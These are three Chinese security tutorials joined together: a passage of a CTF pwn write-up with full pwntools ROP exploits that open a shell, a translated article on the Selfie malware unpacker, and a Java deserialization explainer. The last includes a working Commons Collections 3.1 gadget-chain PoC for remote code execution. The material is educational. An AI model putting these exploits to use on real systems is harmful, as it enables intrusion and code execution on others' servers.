sh.recvuntil('Hello, Worldn')
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/shx00')
sh.recvuntil('Hello, Worldn')
## execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()
### 每次调用csu时栈的分布和相关寄存器变化
**调用write_got泄露write_got地址的栈**
csu(0, 1, write_got, 1, write_got, 8, main_addr)
序号后面的寄存器内容表示，执行完对应指令后，寄存器的变化。
标记红色的为关键的模块。
包括如何将栈中的地址映射到不同的寄存器中；再到寄存器赋值到64位程序输入参数中；最后到利用callq调用程序；最后修正rsp的指针，来跳转到主函数位置。
**调用read_got将字符串/bin/sh加载到bss段中**
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
此处部分的栈布置和前述利用write[@got](https://github.com/got
"@got")泄露write[@got](https://github.com/got
"@got")差不多。只是callq调用的函数变成了read[@got](https://github.com/got "@got")。输入的参数变成了0,
bss_base, 16.表示向地址bss_base输入16个字节。
**调用execve执行获得shell**
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
此处的bss_base地址中已经存储了execve的地址。注意，由于callq
调用时，是去除目标地址指向的地址来调用函数，因此需要借助bss_base来转储一下内容。即callq [bss_base]=callq
execve_address。否则是不会成功的。
运行时注意选择64位的libc库。即第0个选项。
这里解释一下，为什么在放完gadget 2地址之后，要padding 0x38个数据。才能够放入返回地址。
payload += 'a' * 0x38
这是因为在执行完callq之后，我们会使得程序往后执行，且不进行跳转。从而可以最终执行到0x400628位置的retn函数，调用到我们布置的main函数，重新开始执行漏洞。我们在csu中设置了rbx=0,
rbp=1.从而在执行到0x4005fd的时候，rbx加1，和rbp相等，从而不会执行跳转。继续往后执行，在到达retn之前，0x400624执行了add
rsp, 38h的操作，将栈接着抬高了0x38，所以我们需要padding 0x38的数据，才能够让pwn8程序成功获取我们布置的返回地址。
同时，也由上图也可以看出为什么在放置了csu_end_addr之后，不是直接放置rbx参数的地址。因为[rsp+38h_var_30]，可以发现该指令取参数是在当前的rsp基础上增加了8的。因此需要padding
8个‘a’。
## fake frame应对有限的溢出空间
上述64位的ROP是不是看起来已经很完美了？大家是不是跃跃欲试的想要带着上面这把“屠龙霸刀”到处找64位程序来练练手？恩，怕是要“欲试未半而中道崩殂”了。
看官且瞅瞅我这道菜。
[pwn9](https://github.com/desword/pwn_execrise/blob/master/pwn_basic_rop_3/pwn9)
让我们继续快速三连
### 快速三连：查保护，查漏洞，算偏移
仅仅开启了NX。
存在漏洞的是read函数。Buf仅仅申请了0x50个字节长度，然而read允许读取0x60个字节长度。
$ python getOverFlowOffset.py 0x00000000004006BF ~/pwn_execrise/pwn_basic_rop_3/pwn9
[*] /home/desword/pwn_execrise/pwn_basic_rop_3/pwn9 is 64 bits
[*] no PIE
[+] Found offset to the EBP is 80.
[+] THe offset to the RET_ADDR is 84 (32bits) or 88 (64bits).
距离EBP的偏移是80个字节，返回地址是88个字节。
**发现**
：有没有发现奇怪的点。对！能够允许溢出的长度非常有限，仅仅16个字节，刚好两个寄存器的长度。那么也就仅仅够覆盖EBP和返回地址了。我们看看前面ret2csu的构造，在溢出之后，需要很多字节来部署寄存器rdi,
rsi,
rdx的值，还要处理调用完函数之后0x38个字节的padding。因此，ret2csu无法直接使用了。我们也可以就此总结，ret2csu虽然通用，但是需要有较大的溢出空间。
怎么办呢？
这里介绍一种fake frame的方式，可以在溢出空间有限的时候，实现ROP。
在介绍这个操作之前，先给大家介绍两个汇编指令：leave和ret。
Leave指令相当于
mov rsp, rbp
pop rbp
Ret指令相当于：
pop rip
### Fake frame 基本思路
一般程序的结束都是leave;retn。如果我们溢出的返回地址同样还是leave;retn，会发生什么呢？我们把两个leave;
retn分别转换成上述解释的操作，来一一解释流程。
序号表示，执行完对应指令的操作之后，寄存器的变化情况。
可以发现，在初始栈中原来放置ebp的位置布置成未来要跳转的新的函数块的起始地址，可以将当前的rsp引导过去。而在目标地址的起始位置开始安装如下规律布置内容，就可以连续的调用自己想要的函数，且输入的参数长度可以自定义。
即： fake_frame_i | 要执行的函数地址 | leave ret 地址 | 参数1 | 参数2 | …
其中步骤1~3是原始程序中的leave; ret；后续的4~6是新增加的gadget里面的leave; ret。
### 完整的EXP
基于上述总结的思路，我们就可以构造下面完整的EXP了。
from pwn import *
from LibcSearcher import *
context.binary = "./pwn9"
def DEBUG(cmd):
gdb.attach(io, cmd)
io = process("./pwn9")
elf = ELF("./pwn9")
# DEBUG("b *0x4006B9nc")
io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("x7f")[-6: ].ljust(8, '')) - 0x70
success("stack -> {:#x}".format(stack))
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
put_addr = u64(io.recvuntil("x7f")[-6: ].ljust(8, ''))
libcmy = LibcSearcher('puts', put_addr)
libc_base = put_addr - libcmy.dump('puts')
execve_addr = libc_base + libcmy.dump('execve')
binsh_addr = libc_base + libcmy.dump("str_bin_sh")
success("libcmy.address -> {:#x}".format(libc_base))
pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
# need to be ajusted considering current libc.
'''
pop_rdx_pop_rsi_ret=libc_base+0x00000000001306d9
payload=flat(['22222222', p64(pop_rdi_ret), p64(binsh_addr), p64(pop_rdx_pop_rsi_ret),p64(0),p64(0), p64(execve_addr), (80 - 7*8 ) * '2', stack - 48, 0x4006be])
io.sendafter(">", payload)
io.interactive()
首次的溢出是为了让puts函数输出栈中存储的rsp的值。
### 每部分内容的栈布置和相关寄存器变化。
**为了输出puts[@got](https://github.com/got "@got")的地址，栈分布情况**
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
其中0x400793，用于pop第一个输入参数rdi。借助ROPgadget找到：
其中0x400676是用于重新载入有漏洞的read函数的。
其后填充40个字节，是由于前面已经有5*8的位置占用了。
0x4006be是leaver ret的地址。
**为了执行execve(“/bin/sh”,0 ,0)的栈分布情况** :
payload=flat(['22222222', p64(pop_rdi_ret), p64(binsh_addr), p64(pop_rdx_pop_rsi_ret),p64(0),p64(0), p64(execve_addr), (80 - 7*8 ) * '2', stack - 48, 0x4006be])
其中：
pop_rdx_pop_rsi_ret=libc_base+0x00000000001306d9
这个部分的地址需要自己借助ROPgadget等工具来找到并且更新，不同机器会不一样。
这里需要解释一下为什么在执行execve的时候，需要stack-48,降低栈的高度来引rsp。
stack - 48
这是因为，在第一次泄露puts[@got](https://github.com/got
"@got")函数地址，返回到带有漏洞的函数（即0x4000676）继续执行时，存在会改变rsp数值的操作。Rsp改变了，也就导致了溢出的数据做处的位置也发生了改变，如果不进行调整，将无法跳转到正确的位置。我们发现在0x4000676有两处操作改变了rsp的数值。
Push rbp, 我们得到stack + 40 -8 = stack +32
Sub rsp, 50h, 我们得到stack + 32 – 0x50 = stack – 48
后期跟进栈平衡原则，rsp的内容不会再有变化了。所以，我们这个时候输入payload数据会载入到rsp-48的位置，那么我们代码跳转的位置也需要响应的调整。
执行结果：
最后，照旧给大家留一道练习题来巩固一下。 我们下期见。
[Pwn10](https://github.com/desword/pwn_execrise/blob/master/pwn_basic_rop_3/pwn10)
参考资料：
<https://turingh.github.io/2016/01/27/frame-faking/>
<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/> | 社区文章 |
# 【技术分享】“Selfie”：利用DynamoRIO实现自修改代码自动脱壳的神器
|
##### 译文声明
本文是翻译文章，文章来源：breakingmalware
原文地址：<https://breakingmalware.com/tools/selfie-a-tool-to-unpack-self-modifying-code-using-dynamorio/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**稿费：160RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
在本文中，我们将隆重向大家介绍一款脱壳神器：“Selfie”。有了它，大家就不用为了在基于自修改代码技术加壳的恶意软件中寻找OEP发愁了，因为在大部分情况下，Selfie都能自动完成这项任务。该工具现在已经开源了，大家可以从下列地址下载：<https://github.com/BreakingMalware>。
**引言**
对于恶意软件研究人员来说，我们经常会遇到经过加壳、加密或混淆处理的代码。恶意软件通常都会试图以这种方式来逃避安全检测。然而，为了研究这些恶意软件，我们需要摆脱加壳软件的干扰，找出恶意软件运行的起始点，即所谓的原始入口点（OEP）。不幸的是，脱壳工作通常是我们研究人员最耗时、最复杂的一项工作。
当我们遇到自修改代码的恶意软件时，脱壳工作就会格外的冗长乏味。自修改代码是加壳软件常用的技术，它通过增加额外的安全层来提高软件的复杂性。对于使用了自我修改代码来说，加壳后的恶意软件会对自身进行覆盖。在脱壳的时候，需要利用动态分配的内存脱壳，恢复其原始代码和映像，然后将脱壳后的代码拷回来。最令安全研究人员沮丧的事情，莫过于以手动方式来检索采用了自修改代码的恶意软件的OEP了。
由于这个缘故，我们开发了“Selfie”。对于Selfie来说，即使这些恶意软件利用自修改代码技术进行了加壳保护，它照样能够自动找出恶意软件的OEP。Selfie工具本身是基于DynamoRIO的，后者是一个动态代码插桩（Dynamic
Binary Instrumentation，DBI）框架。
要注意的是，对于那些使用不太常见的方法实现的自修改代码，Selfie目前尚无法处理，例如，使用返回指令到达OEP或不改变IAT大小的自修改代码等。
**手动方式为自修改代码脱壳**
下面，我们详细介绍如何通过手工方式为自修改代码脱壳的具体步骤，为此，我们以Trojan Shylock为例进行演示。
**第一步：观察PE文件**
下面是我们得到的原始信息，我们将从这里开始我们的脱壳之旅。
图1：shylock的特征数据
图2：注意高亮显示的部分
**第2步：分析第一次动态内存分配**
我们从第1步所示（即地址0x00404920）的入口点开始分析。
这将我们带到了地址0x4040F8处。在那里，我们可以看到一个对VirtualAlloc函数的调用，该调用动态分配了5E200字节的内存，其权限为PAGE_EXECUTE_READWRITE。
图3：分配虚拟内存
图4：virtualalloc的参数
一旦成功地分配了内存，代码就会把经过加壳的进程映像复制到动态分配的内存中。
图5：EAX指向分配的内存的基址，ECX是计数器。
**第3步：分析第二次动态内存分配**
一旦完成复制，加载器就会把执行权限转移给前面分配的内存中的代码。
我们可以看到，这里进行了另外一次内存分配 ，它只有PAGE_READWRITE权限。注意，这里的VirtualAlloc是从第2步中分配的动态内存中调用的。
图6：第二个VirtualAlloc
我们又看到一个复制循环（0x00574210），在这里，原始的那个加壳后的恶意软件（别忘了，现在它被映射到动态存储器中）含有一个嵌入式加密PE。下面的代码会把这个加密的嵌入式PE复制到第二次动态分配的内存中：
图7：拷贝嵌入的加密PE的复制循环代码
图8：原始映像基地址（左）含有加密的嵌入PE（右）。
图9：被复制到动态内存中的加密PE
图10：解密后从上面复制的PE
**第4步：分析第三次动态内存分配**
现在分析第三次内存分配。这次，加载程序将解密的PE复制到分配好的内存中：
图11：第三个VirtualAlloc
图12：第三个拷贝循环用于复制解密的PE
当复制例程成功结束后，将进入下面的代码。简而言之，它会重置原始映像的基地址。唉，我们知道这就是自修改代码。
图13：原始的进程映像空间（0x00400000）被0填充
图14：最后，得到一个充满0的进程映象空间
**第5步：分析倒数第二个感染步骤**
图15：加载器将解密的EXE复制到已归零的进程映像空间。
脱壳后的恶意软件（Shylock）：
图16：0x0040000就是该恶意软件元数据（图1）中的映像基地址
接下来，加载器将使用LoadLibrary/GetProcAddress重建导入地址表（IAT）。
图17：LoadLibrary
图18：GetProcAddress
**第6步：终极目的：调用OEP**
图19：间接调用OEP（0x00403780）
**Selfie：实现自修改代码的自动脱壳**
Selfie使用的是动态插桩技术，允许我们在应用程序运行时为其添加或修改代码。这真是研究人员的福音，因为它允许我们在恶意软件运行过程中对其进行监视和深入分析。我们可以认为，对恶意软件运用插桩技术后，我们的代码就能够完全控制恶意软件。
在进一步探讨之前，先让我们来了解一些插桩技术的背景知识。
**DBI和DynamoRIO的简要介绍**
Selfie使用DynamoRIO（VMWare的框架）来提供动态代码插桩（DBI）功能。
有关DBI和DynamoRIO的简要背景知识，我们不妨参考http://uninformed.org/index.cgi?v=7&a=1&p=3页面的介绍：
“动态代码插桩（DBI）是一种通过注入插桩代码在二进制应用程序运行时分析其行为的方法。插桩代码被注入之后，会作为正常指令流的一部分执行。在大多数情况下，测试代码对于被注入的应用程序来说是完全透明的。在运行时分析应用程序能够深入了解该应用程序在各个执行点的行为和状态。这是静态二进制分析和动态二进制分析之间的主要区别之一。与考察可能发生什么事情不同，动态二进制分析有利于对实际发生的事情直接进行干预。虽然在应用程序所有代码路径上无法面面俱到，但它能够帮助我们详细了解应用程序的具体执行状态，从而弥补了这一点。
…
DynamoRIO是DBI框架的一个实例，允许自定义的插桩代码以动态库的形式进行集成。这个工具本身是由HP研究人员开发的动态优化引擎Dynamo和MIT开发的RIO（Runtime
Introspection and
Optimization）结合而成的。我们不打算介绍DynamoRIO在实现方面的具体细节，对于本文来说，重点在于了解其基本概念。
…
具体来说，Dynamo是在指令流执行的时候对其进行处理。为了实现这一点，Dynamo需要承担起执行指令流的责任。它使用反汇编器来识别将要执行的代码中的下一个分支指令的目标地址。反汇编的指令集被称为片段（更常见的叫法是基本块）。如果分支指令的目标地址在Dynamo的片段缓存中，则它会在片段缓存中执行该（可能优化过的）代码。当这段代码执行完以后，它会把控制权返回Dynamo，以便反汇编下一个片段。当Dynamo遇到目的地址不在其片段缓存中的分支的时候，它会将其添加到片段缓存中并对其进行优化。这是将插桩代码注入到针对分支目的地址而生成的优化片段的完美机会。在此级别注入插桩代码对于应用程序是完全透明的。虽然应用DynamoRIO后事情会变得异常简单，但至少应该对Dynamo的功能有所了解。
从分析师的角度来看，DynamoRIO的最佳特性之一是它提供了一个框架，用于在片段被插入到片段缓存期间注入插桩代码。这对于拦截应用程序内的内存访问来说格外有用。创建片段时，DynamoRIO为注入到所生成的片段中的指令提供相应的分析库。为了优化性能，DynamoRIO提供了多级反汇编信息。在最高优化级别中，仅提供指令的最基本信息。在最低优化级别，可以获得关于指令及其操作数的非常详细的信息。分析库可以自由地控制它们检索的信息的级别。
**深入了解Selfie**
通过DynamoRIO的API，我们能够编写自己客户端——实际上，客户端就是DLL。DynamoRIO为每次放入代码缓存的代码都提供了hook。通过这些hook，客户端能够检查和转换将放入代码缓存中的任何代码片段。这样，我们实现了完全控制，只要我们喜欢，就可以执行任何动作。
**Selfie使用指南**
我们的Selfie的算法机制如下：
第1步：我们在Selfie的入口点即dr_init()处，检索用于主可执行文件（比如malware.exe）的模块数据
第2步：保存主模块的起始地址、结束地址和IAT大小。
图20：Selfie的入口点
第3步：使用dr_register_bb_event()为基本块事件的注册回调函数。
图21：注册回调函数
第4步：回调函数On_event_basic_block
通过dr_register_bb_event()注册的基本块创建事件，客户端能够在执行代码之前检查和转换任何代码段。对于每个新块，我们使用instrlist_first()/
instr_get_next()例程来遍历块指令。
图22：基本块创建事件
第5步：遍历块指令。
当instr的操作码是OP_call或OP_call_far(instr_is_call_direct())或instr的操作码是OP_call_ind或OP_call_far_ind（instr_is_call_indirect（））的时候，我们就调用基本块回调函数（on_call_event）：
图23：调用插桩代码
第6步：确定OEP
1\. 检查该调用（被调用方）的目标地址是否在主可执行代码的起始地址和结束地址之间。
2\. 如果答案是肯定的，我们就调用GetImportAddressTableSize（）来获取当前的IAT大小。
3\. 如果当前IAT大小不同于原始IAT大小（就像我们在主函数中得到的），被调用方地址就是可疑的OEP。
**注入Selfie**
为了将Selfie注入到malware.exe的进程中，我们使用drrun.exe，具体参数如下所示：
**Selfie在行动**
Selfie做得怎么样呢？
首先，让我们对上面手动脱壳的恶意软件（Shylock）运行Selfie：
图24：针对Shylock运行Selfie
现在让我们来考察一个Win32 / Xswkit（别名Gootkit）恶意软件。
对于那些不熟悉Xswkit恶意软件的人来说，它就是Win32 /
Poweliks的一个克隆，只不过提供了一些额外的功能（它是通过使用微软的shim引擎以及不同的启动方法（rundll +
mshta.exe）实现UAC绕过的）。
有关该样本的工作机制的详细信息，请参阅kernel_mode.info论坛中EP_X0FF提供的完整分析。
对于该样本加壳和脱壳后的代码，也可以从kernelmode.info论坛下载。感谢Tigzy和R136a1为我们提供了这些样本代码，以及EP_X0FF提供的未加壳的样本代码。
加壳之后的：
<https://www.virustotal.com/en/file/ed3d622c54b474c6caef540a3147731a1b2c7d4a7563b97731880bb15305d47d/analysis/1420287664/>
在运行Selfie之前，我们看到的是这样的：
图25：加壳后的恶意软件Xswkit的样本。
请注意映像基址和AddressOfEntryPoint（EP）字段。
脱壳之后的：
<https://www.virustotal.com/en/file/c3885c394a3ad75bc53e7ef2b2d8c8e9e5a12a7f3a52c7399d63814f05c52c96/analysis/1420287667/>
图26：未加壳的Xswkit恶意软件样本。注意映像基址和AddressOfEntryPoint（EP）字段。脱壳后的样本中的EP是实际的OEP
现在让我们看看，利用Selfie工具是否能够得到类似的结果：
图27：事实上，这里的OEP与未加壳的样本中的OEP的值是一致的
**结束语**
我们已经在GNU / PL许可下公开发布了Selfie工具及其相应的代码。如果你是研究员，请随意使用该工具。
欢迎大家积极提供反馈、评论和改进建议。
可执行文件和代码下载地址：<https://github.com/BreakingMalware>。 | 社区文章 |
# Java反序列化漏洞原理解析
## Java序列化与反序列化
### 序列化与反序列化过程
Java 序列化是指把 Java 对象转换为字节序列的过程
ObjectOutputStream类的 writeObject() 方法可以实现序列化
Java 反序列化是指把字节序列恢复为 Java 对象的过程
ObjectInputStream 类的 readObject() 方法用于反序列化。
实现java.io.Serializable接口才可被反序列化，而且所有属性必须是可序列化的
(用transient关键字修饰的属性除外，不参与序列化过程)
**需要序列化的类**
package serialize;
import java.io.Serializable;
public class User implements Serializable{
private String name;
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
**序列化和反序列化**
package serialize;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
User user=new User();
user.setName("leixiao");
byte[] serializeData=serialize(user);
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
User user2=(User) unserialize(serializeData);
System.out.println(user2.getName());
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
运行结果
写到文件的便是该对象序列化后的二进制数据
### readObject()方法
特地提到这个方法是因为在反序列化漏洞中它起到了关键作用，readObject()方法被重写的的话，反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行，如
package evilSerialize;
import java.io.*;
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
package evilSerialize;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
Evil evil=new Evil();
evil.cmd="calc";
byte[] serializeData=serialize(evil);
unserialize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
但肯定不会有程序员写出这样的代码，所以往往实际中反序列化漏洞的构造比较复杂，而且需要借助Java的一些特性如Java的反射
## Java反射
### Java反射定义
对于任意一个类，都能够得到这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意方法和属性；这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。
其实在Java中定义的一个类本身也是一个对象，即java.lang.Class类的实例，这个实例称为类对象
* 类对象表示正在运行的 Java 应用程序中的类和接口
* 类对象没有公共构造方法，由 Java 虚拟机自动构造
* 类对象用于提供类本身的信息，比如有几种构造方法， 有多少属性，有哪些普通方法
要得到类的方法和属性，首先就要得到该类对象
### 获取类对象
假设现在有一个User类
package reflection;
public class User {
private String name;
public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
要获取该类对象一般有三种方法
* class.forName("reflection.User")
* User.class
* new User().getClass()
最常用的是第一种，通过一个字符串即类的全路径名就可以得到类对象，另外两种方法依赖项太强
### 利用类对象创建对象
与new直接创建对象不同，反射是先拿到类对象，然后通过类对象获取构造器对象，再通过构造器对象创建一个对象
package reflection;
import java.lang.reflect.*;
public class CreateObject {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User) constructor.newInstance("leixiao");
System.out.println(user.getName());
}
}
方法 | 说明
---|---
getConstructor(Class...<?> parameterTypes) | 获得该类中与参数类型匹配的公有构造方法
getConstructors() | 获得该类的所有公有构造方法
getDeclaredConstructor(Class...<?> parameterTypes) | 获得该类中与参数类型匹配的构造方法
getDeclaredConstructors() | 获得该类所有构造方法
### 通过反射调用方法
package reflection;
import java.lang.reflect.*;
public class CallMethod {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User) constructor.newInstance("leixiao");
Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "l3yx");
System.out.println(user.getName());
}
}
方法 | 说明
---|---
getMethod(String name, Class...<?> parameterTypes) | 获得该类某个公有的方法
getMethods() | 获得该类所有公有的方法
getDeclaredMethod(String name, Class...<?> parameterTypes) | 获得该类某个方法
getDeclaredMethods() | 获得该类所有方法
### 通过反射访问属性
package reflection;
import java.lang.reflect.*;
public class AccessAttribute {
public static void main(String[] args) throws Exception {
Class UserClass=Class.forName("reflection.User");
Constructor constructor=UserClass.getConstructor(String.class);
User user=(User) constructor.newInstance("leixiao");
Field field= UserClass.getDeclaredField("name");
field.setAccessible(true);// name是私有属性，需要先设置可访问
field.set(user, "l3yx");
System.out.println(user.getName());
}
}
方法 | 说明
---|---
getField(String name) | 获得某个公有的属性对象
getFields() | 获得所有公有的属性对象
getDeclaredField(String name) | 获得某个属性对
getDeclaredFields() | 获得所有属性对象
### 利用java反射执行代码
package reflection;
public class Exec {
public static void main(String[] args) throws Exception {
//java.lang.Runtime.getRuntime().exec("calc.exe");
Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法，invoke时不需要传入对象
runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
}
}
以上代码中,利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现，使得原本应该是字符串的属性，变成了代码执行的逻辑，而这个机制也是后续的漏洞使用的前提
## JAVA Apache-CommonsCollections3.1 反序列化RCE漏洞分析
该漏洞组件下载地址
<https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1>
Java开发过程中常使用一些公共库。Apache Commons Collections提供了很多强有力的数据结构类型并且实现了各种集合工具类
Apache Commons Collections 反序列化 RCE
漏洞问题主要是由于其中的InvokerTransformer类可以通过Java的反射机制来调用任意函数，再配合其他类的包装最终完成反序列化漏洞
InvokerTransformer类的transform方法
在transform方法中传入了一个对象，然后通过反射调用了iMethodName方法，参数是iArgs
而方法名，参数类型，参数值都可通过构造函数传入
那么借助InvokerTransformer可像这样执行命令
package invokerTransformerDemo;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//Class runtimeClass=Class.forName("java.lang.Runtime");
//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象
//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
).transform(runtimeClass);
//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
Object runtime=new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
).transform(m_getMethod);
//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
Object exec=new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
).transform(runtime);
}
}
然后还需要了解的是ConstantTransformer类的transform方法
代码很简单就是返回iConstant
而iConstant在构造函数传入
再看一个比较关键的类ChainedTransformer，首先是其构造函数
可见传入的是一个Transformer的数组，并赋给iTransformers
然后它的transform方法
调用了iTransformers中每个Transformer的transform方法，并且将每次的返回值作为了下一个Transformer的参数
那么修改下之前借助InvokerTransformer执行命令的代码，可写出如下反射链
package reflectionChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class ReflectionChain {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};
ChainedTransformer chain= new ChainedTransformer(transformers);
chain.transform(null);
}
}
至此，我们漏洞的利用条件是构造出含命令的ChainedTransformer对象，然后触发其transform方法。
如何触发呢，接着看TransformedMap类的源码
在checkSetValue函数中调用了valueTransformer的transform函数
对外创建TransformedMap对象的方法是decorate方法，valueTransformer也在此传入
所以把之前构造的反射链chain传入构造一个TransformedMap对象
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
还需要继续寻找触发checkSetValue的地方
Map是java中的接口，Map.Entry是Map的一个内部接口
Map.entrySet()的返回值是一个Set集合，此集合的类型为Map.Entry
Map.Entry中的setValue() 函数最终会触发 checkSetValue() 函数
所以对outmap对象如下操作就可触发命令执行
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");
完整代码如下
package reflectionChain;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
public class Poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};
ChainedTransformer chain= new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("x");
}
}
目前的构造还需要依赖于Map.Entry去调用setValue(),怎样才在反序列化时直接触发执行呢？
之前提过如果某个可序列化的类重写了readObject()方法，反序列化时就优先调用重写后的方法，如果能找到一个类在其readObject()方法中对Map类型的变量进行了键值修改操作，且这个Map变量是可控的，那么就可以实现攻击目标
**AnnotationInvocationHandler**
这个类有一个成员变量memberValues是Map类型
而且readObject()函数中对memberValues.entrySet()的每一项调用了setValue()方法
所以最后poc
package poc;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
public class Poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};
ChainedTransformer chain= new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}
最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE
总结下利用链就是
需要注意的时改以上利用方法在jdk1.7有效，不过ysoserial中也有jdk1.8的利用方式
## Jav反序列化漏洞利用
### 触发场景
1.HTTP请求中的参数
2.RMI，即Java远程方法调用，在RMI中传输的数据皆为序列化
3.JMX，一个为应用程序植入管理功能的框架
4.自定义协议 用来接收与发送原始的java对象
### 相关工具
<https://github.com/frohoff/ysoserial/>
### 实际测试
#### JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）
这里借助vulhub的环境
<https://vulhub.org/#/environments/jboss/CVE-2017-12149/>
首次执行时会有1~3分钟时间初始化，初始化完成后访问<http://ip:8080/即可看到JBoss默认页面>
该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了反序列化
